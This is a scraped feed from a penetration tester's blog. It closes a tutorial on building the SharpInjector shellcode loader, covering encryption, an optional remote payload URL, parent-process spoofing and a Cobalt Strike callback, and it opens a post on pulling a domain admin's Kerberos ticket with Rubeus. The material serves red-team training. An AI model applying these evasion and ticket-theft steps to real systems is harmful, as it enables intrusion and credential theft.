https://substackcdn.com/image/fetch/$s_!uCRh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Clone the project and transfer your <code>.bin</code> file over the the system you&#8217;re generating the payload on.</p><pre><code><code>git clone https://github.com/tw1sm/SharpInjector.git</code></code></pre><p>Open up the <code>ScEncryptor</code> project and edit <code>Program.cs</code>. On line 34, edit the encryption key variable:</p><pre><code><code>public static string Enc(string data)
        {
            string enc = "";
            string key = "01010101010101010101010101010101"; // CHANGE THIS TO A 16/24/32 BYTE VALUE</code></code></pre><p>Build the <code>ScEncryptor</code> project.</p><p>Run <code>ScEncryptor.exe</code> and supply the path of your shellcode .bin as the sole argument:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8tzc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8tzc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 424w, https://substackcdn.com/image/fetch/$s_!8tzc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 848w, https://substackcdn.com/image/fetch/$s_!8tzc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 1272w, https://substackcdn.com/image/fetch/$s_!8tzc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8tzc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png" width="778" height="80" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:80,&quot;width&quot;:778,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8394,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8tzc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 424w, https://substackcdn.com/image/fetch/$s_!8tzc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 848w, https://substackcdn.com/image/fetch/$s_!8tzc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 1272w, https://substackcdn.com/image/fetch/$s_!8tzc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F916bac78-ea5e-4edf-9262-17856fcb170a_778x80.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Your shellcode will be encrypted, then base64 encoded and the resulting string will automatically be placed into the <code>SharpInjector</code> project in <code>Shellycode.cs</code>:</p><pre><code><code>namespace SharpInjector
{
    class EncryptedShellcode
    {
        public string EncSc = "Od/HuzTqISDnPNtgmoUZ2c8" //SNIPPED
    }
}</code></code></pre><p>You can choose to leave the encrypted shellcode within this file and contiune customizing the project. However, if you don&#8217;t want to include the shellcode string in the final binary, you can copy the base64 string out of <code>Shellycode.cs</code> and host a file with the string on the web. If the <code>EncSc</code> var is set to an empty string, your shellcode will be downloaded from a supplied URL at runtime:</p><pre><code><code>namespace SharpInjector
{
    class EncryptedShellcode
    {
        public string EncSc = "" //Has to be blank for download to run
    }
}</code></code></pre><p>This not only has the benefit of excluding the encrypted shellcode from your binary, but it also offers you a sort of &#8220;killswitch&#8221; for the payload. If you stop hosting your shellcode file at any point, your payload will become a dud. Conversely though, your payload will now be reaching out to the internet, so consider what is best for your situation.</p><h1><strong>Building the Payload</strong></h1><p>The shellcode is ready, let&#8217;s cutomize the actual payload and build it.</p><p>Set the decryption key on line 103 within <code>Program.cs</code> in the <code>SharpInjector</code> project to match your encryption key set in the <code>ScEncryptor</code> project.</p><pre><code><code>// Decryptor func
public static string Dec(string ciphertext)
{
    string key = "01010101010101010101010101010101"; // CHANGE THIS 16/24/32 BYTE VALUE TO MATCH ENCRYPTION KEY</code></code></pre><p>Still within <code>Program.cs</code>, on line 22 set your preferred Windows API call used to execute the shellcode. This is very similar to how <code>DueDlligence</code> offers several execution options - I&#8217;ve just expanded on the available options to practice importing API calls in C#.</p><pre><code><code>const ExecutionMethod exeMethod = ExecutionMethod.RtlCreateUserThread; // CHANGE THIS; shellcode exectuon method</code></code></pre><p>On lines 24 and 25, set the parent process ID spoofing configs. Line 24 sets the parent process that a child will be spawned from. <code>explorer.exe</code> is a good target for this. On line 25, the <code>ProgramPath</code> variable specifies the child process to launch - this is the process your beacon/shell will live in. <em>Note: PPID spoofing will only be performed if the chosen API call is capable of remote process injection.</em></p><pre><code><code>string ParentName = "explorer"; // CHANGE THIS: name of parent process
string ProgramPath = @"C:\Program Files\Internet Explorer\iexplore.exe"; // CHANGE THIS: path to process shellcode will be injected into</code></code></pre><p>Lastly, if you&#8217;ve chosen to host your shellcode on the web for download, set the <code>ShellcodeUrl</code> variable on line 26. I&#8217;m leaving it blank (shellcode included in the binary) for this test, but an example would look like:</p><pre><code><code>string ShellcodeUrl = "https://seetwo-domain.com/shellcodefile"; // CHANGE THIS; URL of encrypted shellcode if downloading from web</code></code></pre><p>Set your build configuration to <code>x64</code> and build the payload.</p><h1><strong>Testing Execution</strong></h1><p>I&#8217;ve got the resutling <code>SharpInjector.exe</code> on my target system where I&#8217;ll execute it:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uihD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uihD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 424w, https://substackcdn.com/image/fetch/$s_!uihD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 848w, https://substackcdn.com/image/fetch/$s_!uihD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 1272w, https://substackcdn.com/image/fetch/$s_!uihD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uihD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png" width="791" height="214" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:214,&quot;width&quot;:791,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:15286,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uihD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 424w, https://substackcdn.com/image/fetch/$s_!uihD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 848w, https://substackcdn.com/image/fetch/$s_!uihD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 1272w, https://substackcdn.com/image/fetch/$s_!uihD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe53e6dbf-67b7-41a4-bb22-57a68525b017_791x214.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>And the Cobalt Strike shell caught:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!415L!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!415L!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 424w, https://substackcdn.com/image/fetch/$s_!415L!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 848w, https://substackcdn.com/image/fetch/$s_!415L!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 1272w, https://substackcdn.com/image/fetch/$s_!415L!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!415L!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png" width="1265" height="100" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:100,&quot;width&quot;:1265,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27772,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!415L!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 424w, https://substackcdn.com/image/fetch/$s_!415L!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 848w, https://substackcdn.com/image/fetch/$s_!415L!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 1272w, https://substackcdn.com/image/fetch/$s_!415L!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5f8f5cd9-5096-4620-915b-9eb5be1e0adc_1265x100.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Just to double check how this looks in ProcessExplorer, we can see the HTTPS beacon living in <code>iexplore.exe</code>, which does appear spoofed as a child of our chosen parent, <code>explorer.exe</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pyDs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pyDs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 424w, https://substackcdn.com/image/fetch/$s_!pyDs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 848w, https://substackcdn.com/image/fetch/$s_!pyDs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 1272w, https://substackcdn.com/image/fetch/$s_!pyDs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pyDs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png" width="549" height="148" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:148,&quot;width&quot;:549,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:13339,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pyDs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 424w, https://substackcdn.com/image/fetch/$s_!pyDs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 848w, https://substackcdn.com/image/fetch/$s_!pyDs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 1272w, https://substackcdn.com/image/fetch/$s_!pyDs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F4b000b73-74ff-4a26-9afb-920d87149d79_549x148.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[Experimenting with Kerberos Ticket Formats]]></title><description><![CDATA[Extracting Kerberos tickets with Rubeus and utilizing them in various formats]]></description><link>https://blog.tw1sm.io/p/2021-02-01-kerberos-conversion</link><guid isPermaLink="false">https://blog.tw1sm.io/p/2021-02-01-kerberos-conversion</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 01 Feb 2021 05:00:00 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/e6e91227-905b-4545-b3bb-07ae1d2add9c_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On recent pentests, I&#8217;ve been attempting to leverage unconstrained Kerberos delegation and stolen Kerberos tickets more. This is one of those privilege escalation methods that can fly under the radar - you might not need it to get the job done, but under the right conditions it might provide exactly what you&#8217;re looking for. One of the things I found most confusing when starting with stolen TGTs (ticket-granting-tickets) was the different formats you can prepare the tickets in for usage with various offensive tools. This post will cover how you can use tickets snatched with Rubeus with different tools like Impacket, CrackMapExec, Mimikatz and Rubeus itself.</p><p><em>Note: If you&#8217;re looking for Kerberos delegation background or attack scenarios, <a href="http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/">this</a> is probably the most helpful post I found.</em></p><h1><strong>Stealing a Ticket</strong></h1><p>First off, we need to obtain a ticket before we can play around with formatting. In the test lab, I&#8217;ve got a Windows 10 system configured for unconstrained Kerberos delegation:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YxKF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YxKF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 424w, https://substackcdn.com/image/fetch/$s_!YxKF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 848w, https://substackcdn.com/image/fetch/$s_!YxKF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 1272w, https://substackcdn.com/image/fetch/$s_!YxKF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YxKF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png" width="749" height="499" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:499,&quot;width&quot;:749,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:40787,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YxKF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 424w, https://substackcdn.com/image/fetch/$s_!YxKF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 848w, https://substackcdn.com/image/fetch/$s_!YxKF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 1272w, https://substackcdn.com/image/fetch/$s_!YxKF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F64ba9af0-b0b7-479f-aa98-45616232f011_749x499.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Assuming that we&#8217;ve already compromised an account with local admin rights to the target, I&#8217;ll use <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> to extract tickets from memory. This can be done with the <code>monitor</code> command:</p><pre><code><code>Rubeus.exe monitor /interval:1</code></code></pre><p>It may be sufficent to just wait and see what privileged or high-interest users/computers authenticate to our compromised host, or it may be possible to force a sensitive system to authenticate through the printerbug. In this case, I&#8217;ve just waited until a domain admin, <code>vizimir</code>, has logged in and pulled their TGT:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!30rT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff8673324-9eb5-4d6b-aa24-6499b21b37c0_977x699.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 